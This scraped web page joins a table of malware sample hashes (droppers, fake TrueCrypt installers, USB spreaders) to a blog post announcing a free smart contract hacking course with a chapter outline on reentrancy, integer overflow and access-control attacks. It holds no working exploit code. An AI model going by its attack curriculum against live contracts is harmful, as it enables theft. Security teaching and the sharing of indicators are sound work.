rgb(204, 204, 204); margin: 3px; padding: 4px;">Dropperswdecoy</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">4328b06093a4ad01f828dc837053cb058fe00f3a7fd5cfb9d1ff7feb7ebb8e32</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">b4d909077aa25f31386722e716a5305c</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Dropperswdecoy</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">15760f0979f2ba1b4d991f19e8b59fc1e61632fcc88755a4d147c0f5d47965c5</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">fc4b285088413127b6d827656b9d0481</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Dropperswdecoy</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">b9c285f485421177e616a148410ddc5b02e43f0af375d3141b7e829f7d487bfd</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">73e7ee83133a175b815059f1af79ab1b</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Dropperswdecoy</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">cf3b0d8e9a7d0ad32351ade0c52de583b5ca2f72e5af4adbf638c81f4ad8fbcb</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">eebbcb1ed5f5606aec296168dee39166</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">Dropperswdecoy</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">dbc1b98b1df1d9c2dc8a5635682ed44a91df6359264ed63370724afa9f19c7ee</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">5a24a7370f35dbdbb81adf52e769a442</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">FakeTrueCryptextractedexe</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">4c01ffcc90e6271374b34b252fefb5d6fffda29f6ad645a879a159f78e095979</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">b64dbe5817b24d17a0404e9b2606ad96</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">FakeTrueCryptextractedexe</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">5de8c04a77e37dc1860da490453085506f8aa378fbc7d811128694d8581b89ba</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">7ca6101c2ae4838fbbd7ceb0b2354e43</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">FakeTrueCryptextractedexe</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">73aae05fab96290cabbe4b0ec561d2f6d79da71834509c4b1f4b9ae714159b42</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">f64704ed25f4c728af996eee3ee85411</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">FakeTrueCryptextractedexe</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">c7212d249b5eb7e2cea948a173ce96e1d2b8c44dcc2bb1d101dce64bb3f5becc</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">c1f715ff0afc78af81d215d485cc235c</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">FakeTrueCryptSetup</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">42028874fae37ad9dc89eb37149ecb1e6439869918309a07f056924c1b981def</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">f34b77f7b2233ee6f727d59fb28f438a</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">FakeTrueCryptSetup</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">a3a43bbc69e24c0bc3ab06fbf3ccc35cf8687e2862f86fb0d269258b68c710c9</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">babd17701cbe876149dc07e68ec7ca4f</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">FakeTrueCryptSetup</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">b8844e5b72971fe67d2905e77ddaa3366ae1c3bead92be6effd58691bc1ff8ec</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">cfc8901fe6a9a8299087bfc73ae8909e</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">FakeTrueCryptSetup</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">fe3547f0e052c71f872bf09cdc1654137ee68f878fc6d5a78df16a13e6de1768</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">83f3ec97a95595ebe40a75e94c98a7bd</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">2de76a3c07344ce322151dbb42febdff97ade8176466a3af07e5280bd859a186</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">38e708fea8016520cb25d3cb933f2244</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">4e88b8b121d768c611fe16ae1f008502b2191edc6f2ee84fef7b12b4d86fe000</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">360df4c2f2b99052c07e08edbe15ab2c</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">29dfc81b400a1400782623c618cb1d507f5d17bb13de44f123a333093648048f</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">89a3ea3967745e04199ebf222494452e</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">97afe4b12a9fed40ad20ab191ba0a577f5a46cbfb307e118a7ae69d04adc2e2d</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">6ba88e8e74b12c914483c026ae92eb42</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">793a8ce811f423dfde47a5f44ae50e19e7e41ad055e56c7345927eac951e966b</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">043f99a875424ca0023a21739dba51ef</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">904bb2efe661f654425e691b7748556e558a636d4f25c43af9d2d4dfbe83262e</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">02d438df779affddaf02ca995c60cecb</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">b62589ee5ba94d15edcf8613e3d57255dd7a12fce6d2dbd660fd7281ce6234f4</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">11b4e7ea6bae19a29343ae3ff3fb00ca</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">d2c11706736fda2b178ac388206472fd8d050e0f13568c84b37683423acd155d</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">27d74523b182ae630c4e5236897e11f3</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">OtherDroppers</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">f1f61a0f9488be3925665f8063006f90fab1bf0bd0b6ff5f7799f8995ff8960e</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1ab8d45656e245aca4e59aa0519f6ba0</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1acae7c11fb559b81df5fc6d0df0fe502e87f674ca9f4aefc2d7d8f828ba7f5c</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">76dda7ca15323fd658054e0550149b7b</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">3d78f52fa0c08d8bf3d42074bf76ee56aa233fb9a6bc76119998d085d94368ca</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">ca1a3618088f91b8fb2a30c9a9aa4aca</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">7d15bd854c1dfef847cdd3caabdf4ab81f2410ee5c7f91d377cc72eb81135ff4</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">a2bb01b764491dd61fa3a7ba5afc709c</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">09c04206b57bb8582faffb37e4ebb6867a02492ffc08268bcbc717708d1a8919</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">a59053cc3f66e72540634eb7895824ac</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">12bb18fa9a12cb89dea3733b342940b80cd453886390079cb4c2ffcd664baeda</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">2bd0d2b5ee4e93717ea71445b102e38e</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">34e6fb074284e58ca80961feda4fe651d6d658077914a528a4a6efa91ecc749d</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">057028e46ea797834da401e4db7c860a</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">90b20b1687909c2f76f750ba3fd4b14731ce736c08c3a8608d28eae3f4cd68f3</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">514423670de210f13092d6cb8916748e</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">93accb71bf4e776955756c76990298decfebe4b1dd9fbf9d368e81dc1cb9532d</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">abb9f4fab64dd7a03574abdd1076b5ea</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">99a09ad92cc1a2564f3051057383cb6268893bc4a62903eabf3538c6bfb3aa9c</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">542b00f903f945ad3a9291cb0af73446</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">339a5199e6d0b5f781b08b2ca0ad0495e75e52b8e2fd69e1d970388fbca7a0d6</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">a427ff7abb17af6cf5fb70c49e9bf4e1</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">340b09d661a6ac45af53c348a5c1846ad6323d34311e66454e46c1d38d53af8b</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">2646f7159e1723f089d63e08c8bfaffb</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">461dd5a58ffcad9fffba9181e234f2e0149c8b8ba28c7ea53753c74fdfa0b0d5</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">609abb2a86c324bbb9ba1e253595e573</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">4688afcc161603bfa1c997b6d71b9618be96f9ff980e5486c451b1cc2c5076cb</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">ae552fc43f1ba8684655d8bf8c6af869</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">7492e84a30e890ebe3ca5140ad547965cc8c43f0a02f66be153b038a73ee5314</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">1234bf4f0f5debc800d85c1bd2255671</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">61862a55dcf8212ce9dd4a8f0c92447a6c7093681c592eb937a247e38c8109d4</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">e685ea8b37f707f3706d7281b8f6816a</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">95631685006ac92b7eb0755274e2a36a3c9058cf462dd46f9f4f66e8d67b9db2</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">9179f4683ece450c1ac7a819b32bdb6d</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">b8b02cc57e45bcf500b433806e6a4f8af7f0ac0c5fc9adfd11820eebf4eb5d79</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">cdc60eb93b594fb5e7e5895e2b441240</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">e57eb9f7fdf3f0e90b1755d947f1fe7bb65e67308f1f4a8c25bc2946512934b7</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">39b67cc6dae5214328022c44f28ced8b</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">e3892d2d9f87ea848477529458d025898b24a6802eb4df13e96b0314334635d0</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">3813b848162261cc5982dd64c741b450</td></tr> <tr><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">USBSpreaders</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">f1d7e36af4c30bf3d680c87bbc4430de282d00323bf8ae9e17b04862af286736</td><td style="border: 1px solid rgb(204, 204, 204); margin: 3px; padding: 4px;">35724e234f6258e601257fb219db9079</td></tr> </tbody></table> </div> <div> <span style="font-family: inherit;"><br /></span></div> <div> <br /></div> </div><h5>Read more</h5><br><ul><li> <a href="https://www.google.rw/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F06%2Fgit-scanner-tool-for-bug-hunting-or.html">Hacking Tools Name </a></li><li> <a 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#6aa84f;"><br /></span></h1><h1 style="text-align: left;"><span style="color: #6aa84f;">Smart Contract Exploitation and Hacking Course Announcement</span></h1><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">What Is this: </span></h2><p><span style="color: #6aa84f;">For those who have been hitting me up on twitter and YouTube for more blockchain smart contract exploitation content this blog is for you. I have posted a video below explaining what this is and included a course outline of the content we are providing free for everyone. I was actually told recently that I am crazy for giving out this level of detailed content and training for free.. However, I believe in the original hacker ethic code from long ago, that information should be freely available for everyone!! In this frame of mind, the only pay for content will be if you wish to go the extra mile. For the person who wants to prove to themselves or others that they learned something via a certification package </span><span style="color: #6aa84f;">with detailed exam prep targets and guides, followed by a final exam CTF and reporting write-up. </span></p><p><span style="color: #6aa84f;">So I hope you enjoy this content. The content and walk through labs will be all free. This content will be posted regularly over the next few months 90% of it is already written and ready to go. </span></p><p><span style="color: #6aa84f;">We will start off with the differences between Solidity and other languages and do a quick coding overview before we start hacking. This way everyone is on the same page when we start looking at coding examples of vulnerable targets or reviewing case study code. Then we will cover a wide range of typical issues that effect decentralized applications(DApps) and smart contracts on the Ethereum blockchain. How to spot them and exploit them with full walk-through style learning. Subjects we have already released (Re-Entrancy, Integer Attacks, Authorization) have been updated with new code, new examples, and case studies etc. Some of the learning content will be the same but with a lot of newly added content. And in the case of Authorization completely re-written and expanded on. </span></p><p><span style="color: #6aa84f;">Basically this course was created to get the information out there in a clear concise way. Because when I started researching blockchain hacking all I found was a paragraph here and there on something that was overly technical or completely theoretical. I couldn't find any clear concise learning or examples. This drove me nuts trying to figure everything out, until I gave up and just coded my own vulnerabilities and hacked them. So hopefully this fills the knowledge gap to offer a clear and concise, Zero Fluff resource to those on the same path. </span></p><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">CTF Exam: </span></h2><p><span style="color: #6aa84f;">If you do enjoy this series over the next few months and want to challenge your skills and certify that you learned something we will be also offering pay for certification bundle that includes Decentralized Application (DApp) targets and detailed lab guides as preparation for a final exam against a more comprehensive CTF certification challenge target. More info on this as the months progress. </span></p><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">Bug Bounty of Sorts: </span></h2><p><span style="color: #6aa84f;">These labs are completed but we are working on a way to deliver the content which requires me to code up a course delivery software. So feel free to hack the course delivery software once its up, if you break in or bypass authorizations I will give you the full course for free provided you help me fix it. :P </span></p><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">Pre- Requisites: </span></h2><p><span style="color: #6aa84f;">This is more of a intermediate / advanced course with a white box code approach to bug hunting and a dynamic approach to application hacking and exploiting targets, with that said you will need the following pre-requisites: </span></p><p></p><ul style="text-align: left;"><li><span style="color: #6aa84f;">Ability to code in some language and understanding of coding concepts. </span></li><li><span style="color: #6aa84f;">Application hacking or development background with firm understanding of vulnerabilities</span></li></ul><p></p><p><span style="color: #6aa84f;"><br /></span></p><h2 style="text-align: left;"><span style="color: #6aa84f;">Contact Info:</span></h2><p><span style="color: #6aa84f;">As this is free, I only ask that you provide constructive feedback as we are creating other more advanced hacking courses on random subjects we are interested in. Most of which will be free. And feedback helps us not do things which are not useful and integrate new ideas where they make sense.</span></p><p><span style="color: #6aa84f;">Cheers and I hope this finds you well.</span></p><p><span style="color: #6aa84f;">Twitter: </span></p><p></p><ul style="text-align: left;"><li><a href="https://twitter.com/ficti0n" target="_blank"><span style="color: #3d85c6;">@ficti0n</span></a></li><li><a href="https://twitter.com/GarrGhar" target="_blank"><span style="color: #3d85c6;">@GarrGhar</span></a></li></ul><p></p><p><span style="color: #6aa84f;">Email: </span></p><p></p><ul style="text-align: left;"><li><span style="color: #3d85c6;">info@cclabs.io</span></li></ul><p></p><p><span style="color: #6aa84f;">WebPage: </span><span style="color: #38761d;"> </span></p><p></p><ul style="text-align: left;"><li><a href="http://cclabs.io"><span style="color: #3d85c6;">http://cclabs.io</span></a></li><li><a href="http://consolecowboys.com"><span style="color: #3d85c6;">http://consolecowboys.com</span></a></li></ul><p></p><p><br /></p><h1 style="text-align: left;"><span style="color: #6aa84f;">Course Outline / Release Order: </span></h1><h3 style="text-align: left;"><span style="color: #f6b26b;">Orange = = Whats included additionally for the full course</span></h3><h3 style="text-align: left;"><span style="color: #3d85c6;"><b>Blue</b></span><b style="color: #38761d;"> </b><span style="color: #3d85c6;">= = What will be released free in blogs / videos </span></h3><h3 style="text-align: left;"><span style="color: #3d85c6;">(Mostly every Mondays) over the next few months</span></h3><div><span style="color: #3d85c6;"><br /></span></div><p><span style="color: #f6b26b;">Building and Scoping Things</span></p><p><span style="color: #f6b26b;"> Chapter 1: Cliff Notes on Blockchain</span></p><p><span style="color: #f6b26b;"> Intro:</span></p><p><span style="color: #f6b26b;"> What is a Blockchain and how is it secured</span></p><p><span style="color: #f6b26b;"> Smart Contracts</span></p><p><span style="color: #f6b26b;"> What is a Decentralized Application (DApp)?</span></p><p><span style="color: #f6b26b;"> Diving into Blockchain Components:</span></p><p><span style="color: #f6b26b;"> Distributed Vs Decentralized</span></p><p><span style="color: #f6b26b;"> Provenance Use Case:</span></p><p><span style="color: #f6b26b;"> Consensus and Mining:</span></p><p><span style="color: #f6b26b;"> Hands on Lab - Blockchain Consensus walkthrough Lab</span></p><p><span style="color: #f6b26b;"> Summary:</span></p><p><span style="color: #f6b26b;"> References:</span></p><p><span style="color: #f6b26b;"><br /></span></p><p><span style="color: #f6b26b;"> Chapter 2: Threat Modeling and Scoping Engagements</span></p><p><span style="color: #f6b26b;"> Architecture Considerations:</span></p><p><span style="color: #f6b26b;"> Business Logic Locations and Technology Decisions</span></p><p><span style="color: #f6b26b;"> Development Environments</span></p><p><span style="color: #f6b26b;"> Threat Modeling</span></p><p><span style="color: #f6b26b;"> Summary</span></p><p><span style="color: #f6b26b;"> References:</span></p><p><span style="color: #f6b26b;"><br /></span></p><p> <span style="color: #3d85c6;"> Chapter 3 – Solidity for Penetration Testers Part 1 (Hello World)</span></p><p><span style="color: #3d85c6;"> About Solidity</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Remix interface overview</span></p><p><span style="color: #3d85c6;"> Structure of a Smart Contract</span></p><p><span style="color: #3d85c6;"> Hands on Lab – HelloWorld</span></p><p><span style="color: #3d85c6;"> Summary<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> References:<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"><span style="white-space: pre;"><br /></span></span></p><p><span style="color: #3d85c6;"> Chapter 4 – Solidity for Penetration Testers Part 2<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Beyond Hello World</span></p><p><span style="color: #3d85c6;"> Hands on Lab – Code HelloWorld bank</span></p><p><span style="color: #3d85c6;"> Code Level Walk Through of HelloWorld Bank</span></p><p><span style="color: #3d85c6;"> Checks Effects Interactions:</span></p><p><span style="color: #3d85c6;"> Summary</span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #3d85c6;">Part 2:<span style="white-space: pre;"> </span>Hacking and Exploiting Things</span></p><p><span style="color: #3d85c6;"> Chapter 5 - Glass Half Full or Glass Half Empty: Integer Attacks</span></p><p><span style="color: #3d85c6;"> Underflows and Overflows</span></p><p><span style="color: #3d85c6;"> Withdraw Function Vulnerable to an underflow</span></p><p><span style="color: #3d85c6;"> Transfer Function Vulnerable to a Batch Overflow</span></p><p><span style="color: #3d85c6;"> Batch Overflow Code Explanation:</span></p><p><span style="color: #3d85c6;"> ERC20 Batch Overflow Case-Study<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Walkthrough of The Vulnerable Function<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Reviewing the Real Attack Transaction<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Exploiting Our Own ERC20 Batch Overflow</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Fixing the ERC20 Overflow</span></p><p><span style="color: #6aa84f;"> </span><span style="color: #6aa84f;"> </span><span style="color: #6aa84f;"> </span><span style="color: #e69138;"><span> </span><span>Exam Prep - DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #6aa84f;"> </span><span style="color: #3d85c6;"> <span> </span></span><span style="color: #3d85c6;">Hands on Lab -</span><span style="color: #3d85c6;">Safe Math Walk Through</span></p><p><span style="color: #3d85c6;"> Integer Attacks Summary<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Integer Attacks References</span></p><p><span style="color: #6aa84f;"><span> </span><span> <span> </span></span><br /></span></p><p><span style="color: #3d85c6;"> Chapter 6 - You Again: Leveraging Reentrancy Attacks</span></p><p><span style="color: #3d85c6;"> Reentrancy Intro</span></p><p><span style="color: #3d85c6;"> Checks Effects Interactions Pattern</span></p><p><span style="color: #3d85c6;"> Simple Reentrancy Example Code</span></p><p><span style="color: #3d85c6;"> Passing the Checks:</span></p><p><span style="color: #3d85c6;"> Looping the Interaction:</span></p><p><span style="color: #3d85c6;"> Updating the Effects:</span></p><p><span style="color: #3d85c6;"> Attacking Code Example:</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Attacking a Simple Reentrancy</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Fixing the Checks Effects interaction Pattern</span></p><p><span style="color: #3d85c6;"> Send vs Transfer Vs Call.Value</span></p><p><span style="color: #3d85c6;"> Case Study – The Dao Hack</span></p><p><span style="color: #cc0000;"><span> </span><span> <span> </span></span></span><span style="color: #e69138;"><span>Exam Prep -</span><span> DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Reentrancy Summary<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Reentrancy References</span></p><p><span style="color: #6aa84f;"><br /></span></p><p><span style="color: #3d85c6;"> Chapter 7 Do You Have a Hall Pass: Access Control Attacks</span></p><p><span style="color: #3d85c6;"> Understanding Smart Contract Authorization and Visibility</span></p><p><span style="color: #3d85c6;"> Visibility:<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Simple Visibility Example:<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Implementing Authorization:<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Example Walk-through of No Authorization<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Thinking about Smart Contracts as unpublished API's for DApps<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Case of the Video Game Heist<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Enumerating functions in a contract<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Directly Calling Public Functions with Web3<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Example Fix with Simple Authorization<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Exit Scam Warning<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Example Fix-2 Using Modifiers for Simple Authentication<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Example Using Openzeppelin for Role Based Access Control</span></p><p><span style="color: #cc0000;"> </span><span style="color: #cc0000;"></span><span style="color: #cc0000;"> </span><span style="color: #e69138;"><span>Exam Prep -</span><span> DApp Target + </span><span>Detailed Lab Guide</span></span></p><p><span style="color: #3d85c6;"> Authorization Summary:</span></p><p><span style="color: #3d85c6;"> Authorization References<span style="white-space: pre;"> </span></span></p><p><br /></p><p><span style="color: #3d85c6;"> Chapter 8 - Dude Where's My Data: Storage Vs Memory Attacks<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Intro - Not Written Yet – Up Next<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Code Example - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"> Case study? - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"> Exploiting vulnerability - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"> Summary - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"> References - Not Written Yet – Up Next</span></p><p><span style="color: #3d85c6;"><br /></span></p><p><span style="color: #3d85c6;"> Chapter 9 - Do I know you: TxOrigin vs Message.sender Attacks<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> What's the difference?<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Man In the Middle Via tx.origin<span style="white-space: pre;"> </span></span></p><p><span style="color: #3d85c6;"> Hands on Lab - Simple tx.origin Example Walkthrough</span></p><p><span style="color: #3d85c6;"> Hands on Lab - Vulnerable TX.Origin Example Walkthrough</span></p><p><span style="color: #cc0000;"> </span><span style="color: #cc0000;"></span><span style="color: #cc0000;"> </span><span style="color: 